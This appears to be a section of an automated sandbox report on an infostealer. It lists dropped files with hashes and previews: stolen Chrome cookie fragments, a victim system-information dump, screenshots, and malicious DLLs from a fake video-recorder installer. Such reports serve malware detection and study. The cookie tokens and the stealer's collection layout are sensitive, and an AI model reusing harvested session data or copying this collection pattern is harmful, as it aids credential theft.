Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..w.mU.......TWW_..}....U...Vu..~....J.s.A@..f...D%...H.1.X........b8d...........7.o........p..1.3.1.\ko...z....&.}x..i..6?.u...=ua..a.9....tNN?w8.g.(......$...3u...O=^u>...}.&.....'.G..?..S'.t?....G.).5....q.t.M..`..=...L.U.=...I.9......~....y........XX....t....~..y...=-.....z.=....L.W..#.}O.s.L.....w.9>.cNt...#1....}...2]0...ykZ....zK...7..e.M.Y..t_..z....~C....~]..!.....)s4V..C..........ko....L...Y...]}s.y.M..W.Z-Y}.,._usf.7....>..%.KS.`...n.:.L.tC....t.k.T..>.f.A).X..W.c.C...g4.:..6..T..L{.p]5..k3..t.>....sl...WK_.r.O.../]w..}...{_Su..:../{E....X.O.t....)gyj..Ky...K...W.9..i..W..cS.z.%.a.^.TK.N.60..3..qU....ml.~7T..M.......+..3..Uw.+r;.{..=..L.~y...;-.a...Z.....t..2K.L.M.ZZb./O.uY..Kw."..+.d....i.]..a....k.....O.tYfz.o.19i.>L.\|y..#6.S.w.t...]Mm.Y./.9.o.Xw.K.y...KwJ.Z...ki.....vH.S...S..V...>1.....s+vN.y.y>...U.m..y../.1..z\.9]O

C:\Users\user\AppData\Local\Temp\trixyFDUhEHqVvg4i\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	ASCII text, with very long lines (769), with CRLF line terminators
Category:	dropped
Size (bytes):	6085
Entropy (8bit):	6.038274200863744
Encrypted:	false
SSDEEP:	96:gxsumX/xKO2KbcRfbZJ5Jxjxcx1xcbza5BC126oxgxA26Fxr/CxbTxqCGYURxOeb:gWFXZQHRFJ5Pts7c3avC126Ygb6Lr/WY
MD5:	ACB5AD34236C58F9F7D219FB628E3B58
SHA1:	02E39404CA22F1368C46A7B8398F5F6001DB8F5C
SHA-256:	05E5013B848C2E619226F9E7A084DC7DCD1B3D68EE45108F552DB113D21B49D1
SHA-512:	5895F39765BA3CEDFD47D57203FD7E716347CD79277EDDCDC83A729A86E2E59F03F0E7B6B0D0E7C7A383755001EDACC82171052BE801E015E6BF7E6B9595767F
Malicious:	false
Reputation:	unknown
Preview:	.google.com.TRUE./.TRUE.1712145003.NID.ENC893_djEw3+k+F2A/rK1XOX2BXUq6pY2LBCOzoXODiJnrrvDbDsPWiYwKZowg9PxHqkTm37HpwC52rXpnuUFrQMpV3iKtdSHegOm+XguZZ6tGaCY2hGVyR8JgIqQma1WLXyhCiWqjou7/c3qSeaKyNoUKHa4TULX4ZnNNtXFoCuZcBAAy4tYcz+0BF4j/0Pg+MgV+s7367kYcjO4q3zwc+XorjSs7PlgWlYrcc55rCJplhJ+H13M00HIdLm+1t9PACck2xxSWX2DsA61sEDJCHEc=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.FALSE./.TRUE.1696413835..AspNetCore.AuthProvider.ENC893_djEwVWJCCNyFkY3ZM/58ZZ/F/bz9H1yPvi6FOaroXC+KU8E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.ENC893_djEwBAKLrkJs5PZ6BD7Beoa9N/bOSh5JtRch10gZT+E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkH

C:\Users\user\AppData\Local\Temp\trixyFDUhEHqVvg4i\information.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	7874
Entropy (8bit):	5.563944002110234
Encrypted:	false
SSDEEP:	192:xKVQuvAtphWhcBEcA6YOVkmTFUINgMK38ggXUVUVSUq/CKje1OUpMvLGYL8lkULk:EauvAtfWhcBEcA6YOVkmTaINgMK38ggY
MD5:	49C11B5D3124D8F0C03097CBC6166258
SHA1:	C46FCF1771171CA308964044F3B1619CCD4C3375
SHA-256:	7B095F698ECEAE2934421FC26D1D82CE938F9A5AF499299EF3F5D240392BC76C
SHA-512:	4AC23A7FF14374A8FECF343194659629887263759C7C05183CBEDB31D796EA6455C82DC6547165808CEDCEF5210298553A106A30C2DD70E34194642F7CBC83B4
Malicious:	false
Reputation:	unknown
Preview:	Build: pero..Version: 2.0....Date: Fri May 24 07:42:56 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 2e1bb46e4a078c1e0a63d6f72b146147....Path: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixyFDUhEHqVvg4i....IP: 8.46.123.175..Location: US, New York City..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 364339 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 24/5/2024 7:42:56..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [324]..csrss.exe [408]..wininit.exe [484]..csrss.exe [492]..winlogon.exe [552]..services.exe [620]..lsass.exe [628]..svchost.exe [752]..fontdrvhos

C:\Users\user\AppData\Local\Temp\trixyFDUhEHqVvg4i\passwords.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy_9Vvud2RskkJ\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	ASCII text, with very long lines (769), with CRLF line terminators
Category:	dropped
Size (bytes):	6085
Entropy (8bit):	6.038274200863744
Encrypted:	false
SSDEEP:	96:gxsumX/xKO2KbcRfbZJ5Jxjxcx1xcbza5BC126oxgxA26Fxr/CxbTxqCGYURxOeb:gWFXZQHRFJ5Pts7c3avC126Ygb6Lr/WY
MD5:	ACB5AD34236C58F9F7D219FB628E3B58
SHA1:	02E39404CA22F1368C46A7B8398F5F6001DB8F5C
SHA-256:	05E5013B848C2E619226F9E7A084DC7DCD1B3D68EE45108F552DB113D21B49D1
SHA-512:	5895F39765BA3CEDFD47D57203FD7E716347CD79277EDDCDC83A729A86E2E59F03F0E7B6B0D0E7C7A383755001EDACC82171052BE801E015E6BF7E6B9595767F
Malicious:	false
Reputation:	unknown
Preview:	.google.com.TRUE./.TRUE.1712145003.NID.ENC893_djEw3+k+F2A/rK1XOX2BXUq6pY2LBCOzoXODiJnrrvDbDsPWiYwKZowg9PxHqkTm37HpwC52rXpnuUFrQMpV3iKtdSHegOm+XguZZ6tGaCY2hGVyR8JgIqQma1WLXyhCiWqjou7/c3qSeaKyNoUKHa4TULX4ZnNNtXFoCuZcBAAy4tYcz+0BF4j/0Pg+MgV+s7367kYcjO4q3zwc+XorjSs7PlgWlYrcc55rCJplhJ+H13M00HIdLm+1t9PACck2xxSWX2DsA61sEDJCHEc=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.FALSE./.TRUE.1696413835..AspNetCore.AuthProvider.ENC893_djEwVWJCCNyFkY3ZM/58ZZ/F/bz9H1yPvi6FOaroXC+KU8E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.ENC893_djEwBAKLrkJs5PZ6BD7Beoa9N/bOSh5JtRch10gZT+E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkH

C:\Users\user\AppData\Local\Temp\trixy_9Vvud2RskkJ\History\Firefox_fqs92o4p.default-release.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.911305722693245
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQUl7R8DSLvIJiMhKVX3L2WdkQUlv:2OLciodq7R8OLciA8dqv
MD5:	978B9515D3688A43726604AC169DF379
SHA1:	D61293AB99332FC45CAE37D78AB17A5DA5BCD189
SHA-256:	CDEF3FB1CE312E4B67DC5F1B1F9FB551241C08564FDB26AFA4CBF448BB02EA65
SHA-512:	86146AA576129B73743B1EBC0BC60880FDA58A11498048B3C68284C4520F1ADC324D016696B0E995A51AC56966E0F38B0AF12458A986868701C6AAAA89C829CB
Malicious:	false
Reputation:	unknown
Preview:	https://www.mozilla.org/privacy/firefox/.1696333827..https://www.mozilla.org/en-US/privacy/firefox/.1696333827..

C:\Users\user\AppData\Local\Temp\trixy_9Vvud2RskkJ\information.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	7608
Entropy (8bit):	5.605717258254228
Encrypted:	false
SSDEEP:	192:xSQNvAtphWhcBEOA6YOVkmTFUINgMK38ggXUVUVSUq/CKje1OUpMvLGYL8lkULxz:DNvAtfWhcBEOA6YOVkmTaINgMK38ggkS
MD5:	6D64F91A941B0C83F8F989F8578DFAB2
SHA1:	A94AFD61BCAF59ACB6B58C0010F9316502B1FBEC
SHA-256:	C401ECC0758DBCFF464444141E9B838DD9E8B282F9E0BEE81CB152258063B95A
SHA-512:	3959F068639FB030FE6443C298A0686E8391CE57B34182CE3F9BADA4EBC3DBD7AEED85A0028FCF023FC1504A6CE27EC65D40A80A0B3A036995166306A908758B
Malicious:	false
Reputation:	unknown
Preview:	Build: default..Version: 2.0....Date: Fri May 24 07:42:40 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 2e1bb46e4a078c1e0a63d6f72b146147....Path: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixy_9Vvud2RskkJ....IP: 8.46.123.175..Location: US, New York City..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 364339 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 24/5/2024 7:42:40..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [324]..csrss.exe [408]..wininit.exe [484]..csrss.exe [492]..winlogon.exe [552]..services.exe [620]..lsass.exe [628]..svchost.exe [752]..fontdrv

C:\Users\user\AppData\Local\Temp\trixy_9Vvud2RskkJ\passwords.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy_9Vvud2RskkJ\screenshot.png

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	369935
Entropy (8bit):	7.851497500389213
Encrypted:	false
SSDEEP:	6144:1W0wlPxmhkkmXviI4ukkOwLfEU5QlQ9MEcHK4MUgm5UFVO8wFS0QcbnnUPlN:U9l0kkmXvN5nL8iQK9MEcHFOO8wc0Qca
MD5:	68575CAB5D3C4076A080B904C9122E0A
SHA1:	C70DD648027760D51E831C82D72C4BA2219ABE13
SHA-256:	21126B1230C3824F570127977741ABA959DE0B470E522827C3E0123C27AEFDF7
SHA-512:	E4B3FA104C2CD093CB64CABF025F8289A208DDF1BCFEB1E1F19F0F9AE4F249B58D7A17805E0348682357F960EB0D36671601F24BCA4181D65768BA4058C86AE5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..w.e.......B....#s._.......#.O.s.H.Mo...^.{.....@Bx.../@^.!../...._...9s..$]!..9.oD.3b...r......{.....c.:.Q.GFu...:....F..A..jl.....S.gQ~..Qvr\|....4ye.......J.......^.....U.Q..7d'.D_......g...3S....v.s........Rq.t.....N...+....K-._.M.o}....wLJ...s..U.P.go...O.z....O.jJ.?~..}..m..../.P~./&T.Q).....P.#?o.......tZ.?xs..OJ......?.P..........Q.....f...?l....U.w\|..............?......~o.......j...U.(..w.}.%;...o.iTo....n.C6n....~wh..P..{........N->.W.. ..+j.<.1k.G.......<?.k.9E..h.~d.G5^..*.Xq...#I...m.....G.5...j.mK./5.;.X....<\|Gh..s...........B..!;hk..o...-.4..m..3.9].m..y.M.b?;`s.1..u........<..zT.uK1...c.lI.on....3t...}.K.<(.g..!_.)....}..T,...e..b...Kl...S^.-I...s..\Z\|...._.c...j,_}Y\.$..tC.cDl..F.H.G._..K....cr..6.1.............E...o.......m.m.>j..uM.i-..v..9.16...n...=.m} >./~..q.@......`\|.R..Z...p..]...%....D?..y<{s.zy.-1

C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5OpenGL.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	320120
Entropy (8bit):	6.398399631689542
Encrypted:	false
SSDEEP:	6144:bSU6+JAfisltPzYzrIybvaEezwMckNI+STEDv4nk3ad04ZqhKTrg+COv:brAltbYzsOvaWJ
MD5:	DB19F6E0A1BB5DB1C8D87C3FE0891136
SHA1:	3B2DAB478A8268000EF5E4474D52CB71F9EB615E
SHA-256:	7623B596CFD989413FEA2FE355607B029EF8E64067275CBF81863688128738B0
SHA-512:	B328DC6D1ADE3061894BC5C50F437B732190DE3CEA6D2CDC147A9A8193EE73221937FBA24209B66226D5E4B05DFFF5A79DB8B134373D1218605BCBA6EE82A6B3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~@hB:!..:!..:!..3Y..2!...L..8!..aI..8!...L..,!...L..2!...L..9!...O..=!..:!..."...O../!...O..;!...O..;!..:!..;!...O..;!..Rich:!..........................PE..d....lP_.........." .....\...v......$_...................................................`..........................................5...........................,......x.......\|...P...T.......................(....................p..p............................text....[.......\.................. ..`.rdata..."...p...$...`..............@..@.data...8...........................@....pdata...,..........................@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Svg.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	331384
Entropy (8bit):	6.387255143196498
Encrypted:	false
SSDEEP:	6144:cOjmvCPMfXfCsXL0hq+SNcFxkqSj1ZBtp:fcC05tp
MD5:	C3424F2D3D26632C341EF2F542AEA36B
SHA1:	30640EBFF046085DBA3BD0877DE8A90886BED945
SHA-256:	FB0BD60A7D0178C62CFD14D53B40AD47E8F68DB68B95C625723CADC1CD3A1A3E
SHA-512:	72D9A32433DA38CFB752A67C5F903F3480871FCBD16DC5999FB970313079652CF7AEB481DA6097879B641A0E76271118C6E82406DD14C9C90C7460BA6A71BDC7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........O...........8...................................W............W.....W.....W.T.....<....W.....Rich...........................PE..d...z.P_.........." .........................................................@....../.....`..................................................*....... ...........1......x....0..8....N..T...................XP..(...PO...............................................text............................... ..`.rdata.............................@..@.data...............................@....pdata...1.......2..................@..@.rsrc........ ......................@..@.reloc..8....0......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5WinExtras.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	469624
Entropy (8bit):	6.027128925039679
Encrypted:	false
SSDEEP:	6144:g814pr+wMrppkALmug7u7ozC/B4OvCH9UYHeAeBC:u9+wAkAS2j/B4BryC
MD5:	820FFF478DC5F2C2D5F03A5DB9187FBC
SHA1:	BD58AA8596345C837E1743617452EC7D73013F3A
SHA-256:	3DC976E86D64881E0F37A54B5A04E903235E94D858889B1261527F0048CFBC03
SHA-512:	1476919C5C133ACA519B9E9BE2684A85C7E669FA43942204ACDD9EC4A40577F966AD17D30A7EBD3A97A871E71178F0058966410A934822B96F0B2D7120AA43CB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m>W.)_9.)_9.)_9. '../_9..28.+_9..2<.?_9..2=.!_9..2:.*_9.r7=.(_9.r78.%_9..18.,_9.)_8.._9..1<.&_9..19.(_9..1.(_9.)_..(_9..1;.(_9.Rich)_9.........PE..d...G.P_.........." .................................................................[....`.........................................0d...:...................p...K......x.......h....B..T...................8D..(...0C...............0...............................text...t........................... ..`.rdata.......0....... ..............@..@.data..............................@....pdata...K...p...L..................@..@.rsrc...............................@..@.reloc..h...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Xml.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	213112
Entropy (8bit):	6.331143352918189
Encrypted:	false
SSDEEP:	3072:V7rtKxzN2HVkkNUq3uUw8SWrBEcsGhLec956+48G+ikgyOzk1kLrTzhvt3GyY:Vr2N253eUw81rBXVevrH+mk12rTlS
MD5:	63D91B407A350DA5CE19B5D79924B1F4
SHA1:	45886A4018B60A5EAB7D4B743F4DF2A9A4318EDC
SHA-256:	22B626313A535C85CE6A097571C53A6E6678A9D4BC5D0DB9F81660ADC7ED366E
SHA-512:	FA06AB2B1AE116BC7AE93EA64D4C258A7149A23C0171C077F0919956101A22A59DD8E3F975C64073319842F01D6183253F637A0EDB514F0C02C9D88B0E65E6CF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u..j...j...j.......j.......j.. ....j.. ....j.. ....j.. ....j..i....j...j...j..i....j..i....j..i...j...j...j..i....j..Rich.j..................PE..d....kP_.........." .........,...............................................`............`..........................................t..._...........@..........t"...*..x....P.......;..T...........................`;...............................................text............................... ..`.rdata..............................@..@.data...............................@....pdata..t".......$..................@..@.rsrc........@....... ..............@..@.reloc.......P.......&..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\QtAVWidgets1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	248680
Entropy (8bit):	4.820760286569876
Encrypted:	false
SSDEEP:	6144:k6bBPHJr5r5C9Fg8Imnw5bR3Kklo7rbQox:kz
MD5:	60BAB1D197D91828ED25099968F7D8C5
SHA1:	FC8E1B3C2C98727D2D81A8E85420FA80EE655F19
SHA-256:	F682B5AA0AF3CEE93F890EC6717F94C1AC9B75EBFF512955C6531E7CEE05D196
SHA-512:	5B9CBB11E3FCB00FD76F595520DA4610FA37B0F1227D016D77350909846BA33AF9A32B650BB1CE9A73549DB5BF190C2205E28223D1745191B2424F6DC7327B38
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........e..6..6..6..`6..6...7..6...7..6...7..6...7..62..7..6J..7..62..7..6l..7..6..6...6l..7..6l..7..6l..6..6.d6..6l..7..6Rich..6........................PE..d...3N2c.........." ................................................................U....`..........................................&...0..(W..,.... ..................h!..............T...........................`...8............................................text...+........................... ..`.rdata..v'.......(..................@..@.data...x%....... ..................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\avdevice-58.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	135016
Entropy (8bit):	5.674566205873397
Encrypted:	false
SSDEEP:	1536:GZU6fX6Kj693r/67BhRpsGmQhRJRVW8/mpI4Sx8K5aqEkmgcs8MYQJaqEkmgcs8o:GZU6qz3ERpNzhRvVoVDe1r0+
MD5:	61CF5C843D8A31162B59C074AE74A76E
SHA1:	123E0EACE3DD60FEF94DC96215468D22434C50FB
SHA-256:	F51BB73407C96E4A2E3016A96A870FA4B422A8B1851477048D122CCC2D523687
SHA-512:	AA1C3175D9A0E11341B8A2F1C5372E99E1164169C8FC71727A0FE6655878782E921FA046D6A83CA2E2C67DAE0609704442EBCFDBE985281F02DDB7E288DC718D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................2.&......<......>..................qY/....qY1....qY.....8<............8......8=.....8?....Rich............................PE..d...F..].........." ......................................................... ......S.....`.............................................d...............................h!......\...`...8...............................p............................................text............................... ..`.rdata..t...........................@..@.data...a...........................@....pdata..............................@..@.idata..8(.........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-0PCVG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	397672
Entropy (8bit):	6.4894894939696846
Encrypted:	false
SSDEEP:	12288:W8c9NNNNNNBgjcQFg7jaV95D3+wxech2KJ:tc9NNNNNN+jcQg7jMnD/xech2o
MD5:	B9F3C911728B17FE49BB217D799FCC1A
SHA1:	26F4A963E2F43F46323D8610FEC5E8CC8C4A8A16
SHA-256:	9CEB41F04B48CF7B419C95D03E227F593836D74A04625C0AD5AD2877D7229B65
SHA-512:	0A50270432E6E476D5B4DAF7D9D45053F821BEF02F1872EF598A9E66B2E6B75AE4A89AB97AE175C5143CE3C993D7A354F6389EB5A8BDDBFDE59522103535C403
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.{.%.{.%.{.%.=%.{.%.?%.{.%..%.{.%..%.{.%...%.{.%`.+%.{.%.{.%.{.%..<%.{.%.);%.{.%.{w%.{.%..>%.{.%Rich.{.%........................PE..d......].........." .....8..........................................................g,....`.........................................@...87..x...<.... ...........%......h!...........................................k..p............P...............................text...;6.......8.................. ..`.rdata.......P.......<..............@..@.data...............................@....pdata...%.......&..................@..@_RDATA..P/.......0..................@..@.rsrc........ ......................@..@.reloc..............................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-0UL97.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	963232
Entropy (8bit):	6.634408584960502
Encrypted:	false
SSDEEP:	24576:FkZ+EUPoH5KTcAxt/qvRQdxQxO61kCS9mmWymzVPD:FkMAlM8ixQI5C6wl
MD5:	9C861C079DD81762B6C54E37597B7712
SHA1:	62CB65A1D79E2C5ADA0C7BFC04C18693567C90D0
SHA-256:	AD32240BB1DE55C3F5FCAC8789F583A17057F9D14914C538C2A7A5AD346B341C
SHA-512:	3AA770D6FBA8590FDCF5D263CB2B3D2FAE859E29D31AD482FBFBD700BCD602A013AC2568475999EF9FB06AE666D203D97F42181EC7344CBA023A8534FB13ACB7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ck.."..".."..D...".."..-"...s..$ ...s.."...s.."...s.. "...s.."...s.."...s.."..Rich."..........................PE..d.....OR.........." .....h...:.......)..............................................].....`.................................................@...(............@...s...t...>......8...p................................2..p............................................text....g.......h.................. ..`.rdata...8.......:...l..............@..@.data...hu.......D..................@....pdata...s...@...t..................@..@.rsrc................^..............@..@.reloc..8............b..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-1NO40.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	469624
Entropy (8bit):	6.027128925039679
Encrypted:	false
SSDEEP:	6144:g814pr+wMrppkALmug7u7ozC/B4OvCH9UYHeAeBC:u9+wAkAS2j/B4BryC
MD5:	820FFF478DC5F2C2D5F03A5DB9187FBC
SHA1:	BD58AA8596345C837E1743617452EC7D73013F3A
SHA-256:	3DC976E86D64881E0F37A54B5A04E903235E94D858889B1261527F0048CFBC03
SHA-512:	1476919C5C133ACA519B9E9BE2684A85C7E669FA43942204ACDD9EC4A40577F966AD17D30A7EBD3A97A871E71178F0058966410A934822B96F0B2D7120AA43CB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m>W.)_9.)_9.)_9. '../_9..28.+_9..2<.?_9..2=.!_9..2:.*_9.r7=.(_9.r78.%_9..18.,_9.)_8.._9..1<.&_9..19.(_9..1.(_9.)_..(_9..1;.(_9.Rich)_9.........PE..d...G.P_.........." .................................................................[....`.........................................0d...:...................p...K......x.......h....B..T...................8D..(...0C...............0...............................text...t........................... ..`.rdata.......0....... ..............@..@.data..............................@....pdata...K...p...L..................@..@.rsrc...............................@..@.reloc..h...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-3TD0B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	51
Entropy (8bit):	3.48286657951254
Encrypted:	false
SSDEEP:	3:cUoytoUD6MBomFUT:cUoQoUD6Qoyy
